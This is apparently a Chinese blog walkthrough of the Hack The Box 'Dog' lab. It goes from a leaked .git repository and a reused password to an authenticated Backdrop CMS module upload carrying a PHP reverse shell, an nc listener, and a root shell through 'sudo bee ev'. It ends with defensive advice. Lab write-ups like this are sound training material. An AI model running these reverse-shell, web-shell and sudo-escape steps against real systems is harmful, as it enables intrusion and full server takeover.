靶机链接: https://app.hackthebox.com/machines/Dog
靶机 IP: 10.10.11.58

本次渗透测试的目标是获取 Hack The Box 上的 “Dog” 靶机的 user 和 root 权限。我们将从信息收集开始,逐步深入,最终获得最高权限。

一、信息收集

1. Nmap 端口扫描

先通过 PING 连接性测试之后,首先,照旧 Nmap 对目标 IP 10.10.11.58 进行端口扫描,以了解开放的服务。

Nmap 扫描结果图
图 1: Nmap 扫描显示开放了 22 (SSH - OpenSSH 8.2p1) 和 80 (HTTP - Apache 2.4.41) 端口,Web 服务器运行着 Backdrop CMS 1.x。

分析:

  • 目标 IP: 10.10.11.58
  • 操作系统: Ubuntu Linux
  • 开放端口: 22 (SSH), 80 (HTTP)
  • Web 应用: Backdrop CMS 1.x

关键信息点:

  • Web 服务 (端口 80) 是主要入口。
  • Backdrop CMS 1.x 可能存在已知漏洞。
  • Nmap 脚本扫描还提示了 /.git/ 目录的存在,这是一个重要的潜在信息泄露点。

2. Web 服务

访问 http://10.10.11.58/,可以看到一个关于狗狗护理和健康的网站。

网站首页截图
图 2: Dog 靶机 Web 服务首页。

查看 robots.txt 文件 (http://10.10.11.58/robots.txt),发现其中列出了许多不允许爬虫访问的路径,这有助于我们了解网站结构。

Nmap 扫描到的 robots.txt 信息
图 3: Nmap 探测到的 robots.txt 路径。

浏览器访问 robots.txt 内容
图 4: robots.txt 文件内容,包含 /core, /admin, /modules 等路径。

3. 目录扫描与 .git 发现

使用 dirsearch 等工具进行目录扫描,确认了 .git 目录的存在。

1
dirsearch -u http://10.10.11.58

Dirsearch 扫描结果
图 5: Dirsearch 确认了 http://10.10.11.58/.git/ 目录的存在。

公开的 .git 目录意味着网站的源代码和版本历史可能被泄露,这是获取敏感信息(如配置文件、凭据)的关键突破口。

二、初步立足 (Initial Foothold)

1. 利用 .git 泄露获取源码

使用 git-dumper (或类似工具如 GitHack) 来下载 .git 仓库的内容。

1
git-dumper.py http://10.10.11.58/.git/ .dog_repo

git-dumper 执行信息 1
图 6: 使用 git-dumper 下载 .git 仓库。

git-dumper 执行信息 2
图 7: git-dumper 成功下载并提示检出文件。

2. 分析源码,发现凭据

在下载的源码中搜索敏感信息。settings.php 通常是 CMS 的核心配置文件。

源码目录结构
图 8: 在下载的源码中发现 settings.php 文件。

查看 settings.php 内容:

1
cat settings.php

settings.php 中的数据库凭据
图 9: 在 settings.php 中找到 MySQL 数据库的密码 BackDropJ2024DS2024

3. 登录 Backdrop CMS 后台

尝试使用找到的凭据 tiffany:BackDropJ2024DS2024 登录 Backdrop CMS 的后台

搜索用户名 tiffany
图 10: 确认用户名 tiffany。

成功登录后台
图 11: 使用凭据成功登录 Backdrop CMS 后台。

4. 确定 CMS 版本并寻找漏洞

在下载的源码中搜索版本信息,确定 Backdrop CMS 的具体版本。

1
grep -rin "version" . | grep "'1."

查找 Backdrop 版本信息
图 12: 通过搜索源码中的 ‘version’ 关键字,确定版本为 1.27.1。

搜索 “Backdrop 1.27.1 exploit”,找到了 Exploit-DB 上的一个已认证远程命令执行 (RCE) 漏洞:https://www.exploit-db.com/exploits/52021

该漏洞利用管理员权限,通过上传包含恶意 PHP 代码的模块来实现 RCE。

5. 准备并上传恶意模块 (反弹 Shell)

  1. 生成基础模块结构: 运行 Exploit-DB 提供的 Python 脚本 (52021.py) 来生成一个基础的模块压缩包和目录结构。
    运行漏洞利用脚本生成 shell.zip
    图 13: 生成 shell 目录和 shell.zip。
  2. 替换为反弹 Shell:shell/shell.php 的内容替换为 PHP 反弹 Shell 代码 (例如来自 pentestmonkey 的脚本,php-reverse-shell.php)。修改脚本中的 $ip 为你的攻击机 IP,$port 为你打算监听的端口 (例如 1234)。
  3. 打包为 .tar.gz: 查看后台模块上传页面 (/?q=admin/installer/manual),发现它只接受 .tar, .tgz, .gz, .bz2 格式。因此,需要将修改后的 shell 目录打包成 .tar.gz 格式。
    后台模块上传界面

上传格式限制

图 14: 手动安装模块的界面。

image-20250402204219735

图 15: 上传界面提示支持的压缩格式。

1
2
# 将修改好的 shell.php 放入 shell 目录
tar czvf shell.tar.gz shell/

打包成 tar.gz 文件
图 16: 使用 tar 命令创建 shell.tar.gz。

  1. 设置监听: 在攻击机上使用 nc 监听指定端口。

    1
    nc -nlvp 1234

    (注意:确保你的防火墙允许该端口的入站连接。)

  2. 上传并触发: 在 Backdrop CMS 后台上传 shell.tar.gz 文件。
    上传 shell.tar.gz
    图 17: 在后台上传准备好的恶意模块压缩包。
    上传成功后,访问模块中的 PHP 文件以触发反弹 Shell:

    1
    curl http://10.10.11.58/modules/shell/shell.php

    (如果直接访问无反应,可能是因为 PHP 脚本尝试后台运行,或者防火墙阻止了出站连接。使用 curl 或浏览器访问通常能成功触发。)

6. 获取反弹 Shell

成功触发后,nc 监听器应收到来自目标服务器的连接,获得一个 www-data 用户的 Shell。

成功获得反弹 Shell
图 18: nc 监听器成功接收到来自靶机的反弹 Shell,用户为 www-data。

为了更好的交互体验,可以使用 Python 升级 Shell:

1
2
which python3
python3 -c 'import pty; pty.spawn("/bin/bash")'

三、用户权限提升 (User Privilege Escalation)

www-data Shell 中,查看 /home 目录,发现存在用户 johncusack

尝试读取 /home/johncusack/user.txt,发现权限不足。

回忆之前在 settings.php 中找到的数据库密码 BackDropJ2024DS2024,尝试用它切换到 johncusack 用户。

1
2
su johncusack
# 输入密码: BackDropJ2024DS2024

使用数据库密码切换到 johncusack
图 19: 成功使用之前找到的密码切换到 johncusack 用户。

切换成功后,即可读取 user.txt 文件。

1
cat /home/johncusack/user.txt

四、Root 权限提升 (Root Privilege Escalation)

1. Sudo 权限检查

johncusack 用户下,检查其 sudo 权限。

1
2
sudo -l
# 再次输入密码: BackDropJ2024DS2024

sudo -l 输出结果
图 20: sudo -l 显示 johncusack 可以以任意用户 (ALL:ALL) 身份,无需密码执行 /usr/local/bin/bee 命令。

结果显示 johncusack 用户可以无需密码以 root 权限执行 /usr/local/bin/bee 命令。

2. 分析 bee 命令

bee 是 Backdrop CMS 的命令行工具。查看其帮助信息或相关文档,寻找可利用的功能。

1
/usr/local/bin/bee --help

bee 命令帮助信息中的 eval 选项
图 21: bee 命令帮助信息显示存在 eval (ev) 子命令,可以执行任意 PHP 代码。

关键在于 eval (或 ev) 子命令,它允许执行任意 PHP 代码。

3. 利用 bee eval 获取 Root Shell

由于我们可以通过 sudoroot 权限运行 bee,并且 bee 可以执行 PHP 代码,我们可以结合这两点来获取 root Shell。

首先,bee 命令通常需要在 Backdrop CMS 的网站根目录下执行才能正常工作。

1
2
cd /var/www/html
sudo /usr/local/bin/bee ev 'system("/bin/bash");'

这个命令做了以下事情:

  1. sudo /usr/local/bin/bee: 以 root 权限启动 bee 工具。
  2. ev: 使用 beeeval 功能。
  3. 'system("/bin/bash");': 要执行的 PHP 代码。system() 函数用于执行系统命令,这里我们让它启动一个 Bash Shell。

成功获取 root shell
图 22: 执行 sudo bee ev ‘system(“/bin/bash”);’ 后,成功获得 root 权限的 Shell

4. 读取 Root Flag

现在可以读取位于 /root 目录下的 root.txt 文件。

五、总结

本次 Dog 靶机的渗透测试过程关键点如下:

  1. 信息收集: 通过 Nmap 扫描发现 Web 服务 (Backdrop CMS) 和 .git 目录暴露。
  2. 初步立足: 利用 git-dumper 下载 .git 仓库源码,在 settings.php 中找到数据库凭据 (tiffany:BackDropJ2024DS2024)。使用该凭据登录 Backdrop CMS 后台。
  3. 漏洞利用: 确定 CMS 版本为 1.27.1,找到对应的已认证 RCE 漏洞 (Exploit-DB 52021)。制作包含反弹 Shell 的恶意模块 (.tar.gz 格式),通过后台上传并触发,获得 www-data Shell。
  4. 用户提权: 使用之前获取的密码 BackDropJ2024DS2024 通过 su 命令切换到 johncusack 用户,获得 user flag。
  5. Root 提权: 检查 sudo -l 发现 johncusack 可以免密以 root 权限运行 bee 命令。利用 beeeval 功能执行 PHP system('/bin/bash'),最终获得 root Shell 并读取 root flag。

六、防御

  • 定期审计与加固:
    • 必须定期审计 Web 服务器配置,确保禁止目录列表,并严格限制对敏感目录(如 .git, .svn 等版本控制目录,以及配置文件目录)的访问。
    • 严格审查 sudoers 配置,遵循最小权限原则,避免使用 ALLNOPASSWD,精确授权必要的命令。
  • 补丁与更新管理:
    • 及时更新 CMS 核心、主题和插件至最新安全版本,是防御已知漏洞利用的基础。订阅相关的安全公告。
  • Secrets Management:
    • 绝不将密码、API 密钥等敏感信息硬编码在代码或配置文件中,并提交到版本控制系统。应使用环境变量、安全的 Secrets Management 工具或安全的配置文件注入方式。
  • 强制安全策略:
    • 实施强密码策略,并禁止密码重用。考虑为关键系统(如 SSH、管理后台)启用多因素认证 (MFA)。

© Rabbit 使用 Stellar 创建

✨ 营业:

共发表 56 篇Blog 🔸 总计 123.6k